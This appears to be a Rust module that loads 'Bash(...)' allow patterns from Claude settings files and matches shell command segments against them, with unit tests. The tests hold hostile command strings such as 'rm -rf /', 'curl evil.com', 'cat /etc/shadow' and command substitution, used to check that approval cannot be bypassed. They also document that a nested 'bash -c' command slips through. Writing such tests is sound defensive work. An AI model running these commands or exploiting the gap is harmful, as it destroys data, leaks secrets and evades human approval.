1use std::collections::HashSet;
2use std::path::Path;
3
4pub struct ApprovedPatterns {
5 exact: HashSet<String>,
6 globs: Vec<Vec<String>>,
7}
8
9impl ApprovedPatterns {
10 pub fn load() -> Self {
11 let mut patterns = ApprovedPatterns {
12 exact: HashSet::new(),
13 globs: Vec::new(),
14 };
15
16 if let Some(home) = std::env::var_os("HOME") {
17 patterns.load_file(&Path::new(&home).join(".claude/settings.json"));
18 }
19
20 if let Some(project_dir) = std::env::var_os("CLAUDE_PROJECT_DIR") {
21 let base = Path::new(&project_dir).join(".claude");
22 patterns.load_file(&base.join("settings.json"));
23 patterns.load_file(&base.join("settings.local.json"));
24 }
25
26 patterns
27 }
28
29 fn load_file(&mut self, path: &Path) {
30 let Ok(contents) = std::fs::read_to_string(path) else {
31 return;
32 };
33 let Ok(value) = serde_json::from_str::<serde_json::Value>(&contents) else {
34 return;
35 };
36
37 if let Some(arr) = value.get("approved_commands").and_then(|v| v.as_array()) {
38 for entry in arr.iter().filter_map(|e| e.as_str()) {
39 self.add_pattern(entry);
40 }
41 }
42
43 if let Some(arr) = value
44 .get("permissions")
45 .and_then(|v| v.get("allow"))
46 .and_then(|v| v.as_array())
47 {
48 for entry in arr.iter().filter_map(|e| e.as_str()) {
49 self.add_pattern(entry);
50 }
51 }
52 }
53
54 fn add_pattern(&mut self, entry: &str) {
55 let Some(inner) = entry.strip_prefix("Bash(").and_then(|s| s.strip_suffix(')')) else {
56 return;
57 };
58 if inner.is_empty() {
59 return;
60 }
61 let normalized = if let Some(prefix) = inner.strip_suffix(":*") {
62 format!("{prefix} *")
63 } else {
64 inner.to_string()
65 };
66 if normalized.contains('*') {
67 self.globs
68 .push(normalized.split('*').map(String::from).collect());
69 } else {
70 self.exact.insert(normalized);
71 }
72 }
73
74 pub fn matches(&self, segment: &str) -> bool {
75 let normalized = crate::parse::strip_fd_redirects(crate::parse::strip_env_prefix(segment).trim());
76 if normalized.is_empty() {
77 return false;
78 }
79 if self.exact.contains(normalized.as_str()) {
80 return true;
81 }
82 self.globs
83 .iter()
84 .any(|parts| glob_matches(parts, &normalized))
85 }
86
87 pub fn is_empty(&self) -> bool {
88 self.exact.is_empty() && self.globs.is_empty()
89 }
90}
91
92fn glob_matches(parts: &[String], text: &str) -> bool {
93 let first = &parts[0];
94 let last = &parts[parts.len() - 1];
95
96 if parts.len() == 2 && last.is_empty() && first.ends_with(' ') {
98 let prefix = &first[..first.len() - 1];
99 return text == prefix || text.starts_with(first.as_str());
100 }
101
102 if !text.starts_with(first.as_str()) {
103 return false;
104 }
105 if !text.ends_with(last.as_str()) {
106 return false;
107 }
108 let mut pos = first.len();
109 let end = text.len() - last.len();
110 if pos > end {
111 return false;
112 }
113 for part in &parts[1..parts.len() - 1] {
114 match text[pos..end].find(part.as_str()) {
115 Some(idx) => pos += idx + part.len(),
116 None => return false,
117 }
118 }
119 pos <= end
120}
121
122#[cfg(test)]
123mod tests {
124 use super::*;
125 use std::fs;
126
127 fn empty() -> ApprovedPatterns {
128 ApprovedPatterns {
129 exact: HashSet::new(),
130 globs: Vec::new(),
131 }
132 }
133
134 #[test]
135 fn parse_exact_pattern() {
136 let mut p = empty();
137 p.add_pattern("Bash(npm test)");
138 assert!(p.exact.contains("npm test"));
139 assert!(p.globs.is_empty());
140 }
141
142 #[test]
143 fn parse_legacy_colon_star() {
144 let mut p = empty();
145 p.add_pattern("Bash(npm run:*)");
146 assert!(p.exact.is_empty());
147 assert_eq!(p.globs.len(), 1);
148 }
149
150 #[test]
151 fn parse_space_star() {
152 let mut p = empty();
153 p.add_pattern("Bash(npm run *)");
154 assert!(p.exact.is_empty());
155 assert_eq!(p.globs.len(), 1);
156 }
157
158 #[test]
159 fn parse_star_no_space() {
160 let mut p = empty();
161 p.add_pattern("Bash(ls*)");
162 assert_eq!(p.globs.len(), 1);
163 }
164
165 #[test]
166 fn parse_star_at_beginning() {
167 let mut p = empty();
168 p.add_pattern("Bash(* --version)");
169 assert_eq!(p.globs.len(), 1);
170 }
171
172 #[test]
173 fn parse_star_in_middle() {
174 let mut p = empty();
175 p.add_pattern("Bash(git * main)");
176 assert_eq!(p.globs.len(), 1);
177 }
178
179 #[test]
180 fn parse_non_bash_skipped() {
181 let mut p = empty();
182 p.add_pattern("WebFetch");
183 p.add_pattern("XcodeBuildMCP");
184 assert!(p.is_empty());
185 }
186
187 #[test]
188 fn parse_empty_bash_skipped() {
189 let mut p = empty();
190 p.add_pattern("Bash()");
191 assert!(p.is_empty());
192 }
193
194 #[test]
195 fn parse_empty_prefix_skipped() {
196 let mut p = empty();
197 p.add_pattern("Bash(:*)");
198 assert!(p.exact.is_empty());
199 assert_eq!(p.globs.len(), 1);
200 }
201
202 #[test]
203 fn match_exact() {
204 let mut p = empty();
205 p.add_pattern("Bash(npm test)");
206 assert!(p.matches("npm test"));
207 assert!(!p.matches("npm test --watch"));
208 }
209
210 #[test]
211 fn match_space_star_word_boundary() {
212 let mut p = empty();
213 p.add_pattern("Bash(ls *)");
214 assert!(p.matches("ls -la"));
215 assert!(p.matches("ls foo"));
216 assert!(!p.matches("lsof"));
217 }
218
219 #[test]
220 fn match_star_no_space_no_boundary() {
221 let mut p = empty();
222 p.add_pattern("Bash(ls*)");
223 assert!(p.matches("ls -la"));
224 assert!(p.matches("lsof"));
225 }
226
227 #[test]
228 fn match_legacy_colon_star_word_boundary() {
229 let mut p = empty();
230 p.add_pattern("Bash(npm run:*)");
231 assert!(p.matches("npm run build"));
232 assert!(p.matches("npm run test"));
233 assert!(!p.matches("npm running"));
234 assert!(!p.matches("npm install"));
235 }
236
237 #[test]
238 fn match_star_at_beginning() {
239 let mut p = empty();
240 p.add_pattern("Bash(* --version)");
241 assert!(p.matches("npm --version"));
242 assert!(p.matches("cargo --version"));
243 assert!(!p.matches("npm --help"));
244 }
245
246 #[test]
247 fn match_star_in_middle() {
248 let mut p = empty();
249 p.add_pattern("Bash(git * main)");
250 assert!(p.matches("git checkout main"));
251 assert!(p.matches("git merge main"));
252 assert!(!p.matches("git checkout develop"));
253 }
254
255 #[test]
256 fn match_env_prefix_stripped() {
257 let mut p = empty();
258 p.add_pattern("Bash(bundle install)");
259 assert!(p.matches("RACK_ENV=test bundle install"));
260 }
261
262 #[test]
263 fn match_fd_redirect_stripped() {
264 let mut p = empty();
265 p.add_pattern("Bash(npm test)");
266 assert!(p.matches("npm test 2>&1"));
267 }
268
269 #[test]
270 fn match_fd_redirect_with_glob() {
271 let mut p = empty();
272 p.add_pattern("Bash(npm run *)");
273 assert!(p.matches("npm run test 2>&1"));
274 }
275
276 #[test]
277 fn match_empty_segment() {
278 let mut p = empty();
279 p.add_pattern("Bash(npm test)");
280 assert!(!p.matches(""));
281 assert!(!p.matches(" "));
282 }
283
284 #[test]
285 fn empty_patterns_match_nothing() {
286 let p = empty();
287 assert!(!p.matches("anything"));
288 }
289
290 #[test]
291 fn match_bare_star_matches_everything() {
292 let mut p = empty();
293 p.add_pattern("Bash(*)");
294 assert!(p.matches("anything at all"));
295 assert!(p.matches("rm -rf /"));
296 }
297
298 #[test]
299 fn unsafe_syntax_not_bypassed_by_match() {
300 let mut p = empty();
301 p.add_pattern("Bash(./script.sh *)");
302 let segment = "./script.sh > /etc/passwd";
303 assert!(crate::parse::has_unsafe_shell_syntax(segment));
304 let covered = crate::is_safe(segment)
305 || (!crate::parse::has_unsafe_shell_syntax(segment) && p.matches(segment));
306 assert!(!covered);
307 }
308
309 #[test]
310 fn command_substitution_not_bypassed_by_match() {
311 let mut p = empty();
312 p.add_pattern("Bash(./script.sh *)");
313 let segment = "./script.sh $(rm -rf /)";
314 let covered = crate::is_safe(segment)
315 || (!crate::parse::has_unsafe_shell_syntax(segment) && p.matches(segment));
316 assert!(!covered);
317 }
318
319 #[test]
320 fn mixed_chain_safe_plus_settings() {
321 let mut p = empty();
322 p.add_pattern("Bash(./generate-docs.sh)");
323 let command = "cargo test && ./generate-docs.sh";
324 let segments = crate::parse::split_outside_quotes(command);
325 let all_covered = segments.iter().all(|s| {
326 crate::is_safe(s)
327 || (!crate::parse::has_unsafe_shell_syntax(s) && p.matches(s))
328 });
329 assert!(all_covered);
330 }
331
332 #[test]
333 fn mixed_chain_safe_plus_unapproved_denied() {
334 let mut p = empty();
335 p.add_pattern("Bash(./generate-docs.sh)");
336 let command = "cargo test && rm -rf /";
337 let segments = crate::parse::split_outside_quotes(command);
338 let all_covered = segments.iter().all(|s| {
339 crate::is_safe(s)
340 || (!crate::parse::has_unsafe_shell_syntax(s) && p.matches(s))
341 });
342 assert!(!all_covered);
343 }
344
345 fn is_covered(segment: &str, patterns: &ApprovedPatterns) -> bool {
346 crate::is_safe(segment)
347 || (!crate::parse::has_unsafe_shell_syntax(segment) && patterns.matches(segment))
348 }
349
350 #[test]
351 fn glob_does_not_cross_chain_boundary() {
352 let mut p = empty();
353 p.add_pattern("Bash(cargo test *)");
354 let command = "cargo test --release && rm -rf /";
355 let segments = crate::parse::split_outside_quotes(command);
356 assert_eq!(segments.len(), 2);
357 assert!(p.matches(&segments[0]));
358 assert!(!p.matches(&segments[1]));
359 assert!(!segments.iter().all(|s| is_covered(s, &p)));
360 }
361
362 #[test]
363 fn glob_does_not_cross_pipe_boundary() {
364 let mut p = empty();
365 p.add_pattern("Bash(safe-cmd *)");
366 let command = "safe-cmd arg | curl evil.com";
367 let segments = crate::parse::split_outside_quotes(command);
368 assert_eq!(segments.len(), 2);
369 assert!(!segments.iter().all(|s| is_covered(s, &p)));
370 }
371
372 #[test]
373 fn glob_does_not_cross_semicolon_boundary() {
374 let mut p = empty();
375 p.add_pattern("Bash(safe-cmd *)");
376 let command = "safe-cmd arg; rm -rf /";
377 let segments = crate::parse::split_outside_quotes(command);
378 assert_eq!(segments.len(), 2);
379 assert!(!segments.iter().all(|s| is_covered(s, &p)));
380 }
381
382 #[test]
383 fn bare_star_blocked_by_unsafe_syntax_redirect() {
384 let mut p = empty();
385 p.add_pattern("Bash(*)");
386 assert!(p.matches("echo > /etc/passwd"));
387 assert!(!is_covered("echo > /etc/passwd", &p));
388 }
389
390 #[test]
391 fn bare_star_blocked_by_unsafe_syntax_backtick() {
392 let mut p = empty();
393 p.add_pattern("Bash(*)");
394 assert!(!is_covered("echo `rm -rf /`", &p));
395 }
396
397 #[test]
398 fn bare_star_blocked_by_unsafe_syntax_command_sub() {
399 let mut p = empty();
400 p.add_pattern("Bash(*)");
401 assert!(!is_covered("echo $(cat /etc/shadow)", &p));
402 }
403
404 #[test]
405 fn nested_shell_not_recursively_validated_by_settings() {
406 let mut p = empty();
407 p.add_pattern("Bash(bash *)");
408 let segment = "bash -c 'safe-cmd && rm -rf /'";
409 assert!(!crate::is_safe(segment));
410 assert!(!crate::parse::has_unsafe_shell_syntax(segment));
411 assert!(is_covered(segment, &p));
415 }
416
417 #[test]
418 fn nested_shell_redirect_still_blocked() {
419 let mut p = empty();
420 p.add_pattern("Bash(bash *)");
421 let segment = "bash -c 'echo hello' > /tmp/pwned";
422 assert!(crate::parse::has_unsafe_shell_syntax(segment));
423 assert!(!is_covered(segment, &p));
424 }
425
426 #[test]
427 fn quoted_operators_stay_as_one_segment() {
428 let mut p = empty();
429 p.add_pattern("Bash(./script *)");
430 let command = "./script 'arg && rm -rf /'";
431 let segments = crate::parse::split_outside_quotes(command);
432 assert_eq!(segments.len(), 1);
433 assert!(is_covered(&segments[0], &p));
434 }
435
436 #[test]
437 fn load_file_nonexistent() {
438 let mut p = empty();
439 p.load_file(Path::new("/nonexistent/path/settings.json"));
440 assert!(p.is_empty());
441 }
442
443 #[test]
444 fn load_file_malformed_json() {
445 let dir = tempfile::tempdir().unwrap();
446 let path = dir.path().join("settings.json");
447 fs::write(&path, "not json{{{").unwrap();
448 let mut p = empty();
449 p.load_file(&path);
450 assert!(p.is_empty());
451 }
452
453 #[test]
454 fn load_file_approved_commands() {
455 let dir = tempfile::tempdir().unwrap();
456 let path = dir.path().join("settings.json");
457 fs::write(
458 &path,
459 r#"{"approved_commands":["Bash(npm test)","Bash(npm run *)","WebFetch"]}"#,
460 )
461 .unwrap();
462 let mut p = empty();
463 p.load_file(&path);
464 assert!(p.matches("npm test"));
465 assert!(p.matches("npm run build"));
466 assert!(!p.matches("curl evil.com"));
467 }
468
469 #[test]
470 fn load_file_permissions_allow() {
471 let dir = tempfile::tempdir().unwrap();
472 let path = dir.path().join("settings.json");
473 fs::write(
474 &path,
475 r#"{"permissions":{"allow":["Bash(cargo test *)","Bash(cargo clippy *)"]}}"#,
476 )
477 .unwrap();
478 let mut p = empty();
479 p.load_file(&path);
480 assert!(p.matches("cargo test"));
481 assert!(p.matches("cargo clippy -- -D warnings"));
482 }
483
484 #[test]
485 fn load_file_both_fields() {
486 let dir = tempfile::tempdir().unwrap();
487 let path = dir.path().join("settings.json");
488 fs::write(
489 &path,
490 r#"{"approved_commands":["Bash(npm test)"],"permissions":{"allow":["Bash(cargo test *)"]}}"#,
491 )
492 .unwrap();
493 let mut p = empty();
494 p.load_file(&path);
495 assert!(p.matches("npm test"));
496 assert!(p.matches("cargo test --release"));
497 }
498}